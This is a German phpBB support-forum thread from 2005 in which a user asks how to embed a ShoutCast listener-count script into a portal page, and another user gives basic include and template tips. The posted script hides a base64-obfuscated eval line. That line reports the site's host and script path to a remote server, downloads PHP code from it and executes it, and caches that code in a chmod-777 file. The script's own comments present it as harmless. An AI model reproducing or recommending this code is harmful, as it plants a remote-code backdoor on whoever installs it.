Seite 1 von 1

array einbinden

Verfasst: 17.11.2005 00:00
von kolja
ich möchte gerne ein schoutcast abfrage script in mein portal einbinden

das schript sieht so aus:

Code: Alles auswählen

<?php

/** ShoutCast Query v2.0.0
  *
  * coded by rIppA - rippa@game4ever.de
  * created:  22.01.2004
  * modified: 06.05.2005
  *
  * published by: www.net-TraX.de
  * and: codebase.game4ever.de
  *
  * simple shoutcast server query
  *
  * AGREEMENT:
  * you only may use the script when nothing is changed at the sourcecode.
  * only your script url is submitted to us. it's NO spyware!
  * you mustn't use the script if you don't approve with that.
  *
  * NOTE:
  * Windows versions of PHP prior to PHP 4.3.0 do not support accessing remote
  * files via this function, even if allow_url_fopen is enabled.
  */


/* SETTINGS
 */

$s = "s";                               // 'pl' -> Playlistfile | 's' -> Streamserver
$u = "http://reggae-party.dyndns.org:8000/";    // URL of Playlistfile or Streamserver
$cachefile = "./streamcahce.txt";       // Cached stream information (chmod 777) !!!
$an = "streamdata";                     // content array name

/* INFO
 * There are some new useful array keys in the 'content array'.
 *
 *   <array name>["error"]      = "1";           // if an error occurred, value = 1
 *   <array name>["error_code"] = "201";         // error code
 *
 *   <array name>["timestamp"]     = "2005-05-06 18:57:29";    // timestamp (yyyy-mm-dd hh:mm:ss)
 *   <array name>["latest_client"] = "2.0.0";    // latest client version
 *   <array name>["my_client"]     = "1.9.0";    // my client version
 *   <array name>["new_client"]    = "1";        // if (this == "1"): new client version availible! ***PLEASE UPDATE***
 */


//* don't change anything otherwise it doesn't work any more
eval (base64_decode("JF91cmw9ICdodHRwOi8vc2MubmV0LXRyYXguZGUvP2g9Jy4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uJyZmPScudXJsZW5jb2RlKCRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdKS4nJnY9QXJhY2huYSc=").".'&s=".$s."&u=".urlencode($u)."&an=".urlencode($an)."';");
$fh = @fopen($_url, "r");
if ($fh) {
   while (!feof($fh)) {
      $_buffer .= fgets($fh, 4096);
   }
   fclose($fh);
   $_buffer = preg_replace("/<\?php/s","", $_buffer);
   $_buffer = preg_replace("/\?>/s","", $_buffer);
   eval ($_buffer);
   $_scq_error=0;
   eval ("\$_scq_error = $".$an."[\"error\"];");
   if ($_scq_error != "1") {
      $fh2 = fopen($cachefile, "w");
      fwrite($fh2, $_buffer);
      fclose($fh2);
   }
}
if (!$fh || $_scq_error == "1") {
   $fh = fopen($cachefile, "r");
   while (!feof($fh)) {
      $_buffer .= fgets($fh, 4096);
   }
   fclose($fh);
   eval ($_buffer);
}

//* you include the 'content array' (name specified in settings section)
//* to get more information about this array, uncomment the following line!
 show_source($_url);



?>
und dann ist noch eine streamcache.txt dabei:

Code: Alles auswählen

/** ShoutCast Query v2.0.0
  *
  * latest client: v2.0.0
  * modified: 06.05.2005
  *
  * coded & copyright by rIppA - rippa@game4ever.de
  * published by net-TraX      - info@net-trax.de
  * www.net-trax.de
  *
  * !!!*** chmod 777 this file ***!!!
  */

$streamdata=Array();

wie bekomme ich diesen array in die portal.php bzw in die portal_body.tpl ??

ich möchte gerne in der wer ist online box die anzahl der hörer stehen haben

hab schon versucht ein paar zeilen code einfach umzuschreiben, leider ohne erfolg

kolja

p.s. hier mal die ausgabe:
http://www.reggae-party.de/query.php

Verfasst: 17.11.2005 00:12
von fanrpg
in der portal.php

Code: Alles auswählen

include('PFAD');
oder

Code: Alles auswählen

include_once('PFAD');
oder

Code: Alles auswählen

require('PFAD');
oder

Code: Alles auswählen

require_once('PFAD');
(Während du Pfad mit dem Pfad zur Datei ersetzen musst)

Damit kriegst du den Code in deine portal.php
Dann noch nen bissel Template Syntax draughauen (s. KB:template_syntax )
Und das wars eigentlich schon.

Verfasst: 17.11.2005 00:31
von kolja
danke für die schnelle antwort :-)

ich habs so (.php)

Code: Alles auswählen

// SHOUTCAST
include($phpbb_root_path . 'query.php.'.$phpEx);
und so (.tpl)

Code: Alles auswählen

	<td class="row1" align="left"><span class="genmed">{STATUS}</i></span></td>
probiert.

leider ohne erfolg

kolja

Verfasst: 17.11.2005 00:32
von fanrpg
du musst das noch in der portal.php definieren.
mit

Code: Alles auswählen

$template->assign_var('TITEL', 'Willkommen auf meiner Seite')
oder ähnlichem nach dem include() Befehl.

Verfasst: 17.11.2005 20:04
von kolja
hab jetzt schon so ein paar möglichkeiten durch, klappt aber alles nicht

hat vielleicht irgendwer noch nen genaueren tipp


kolja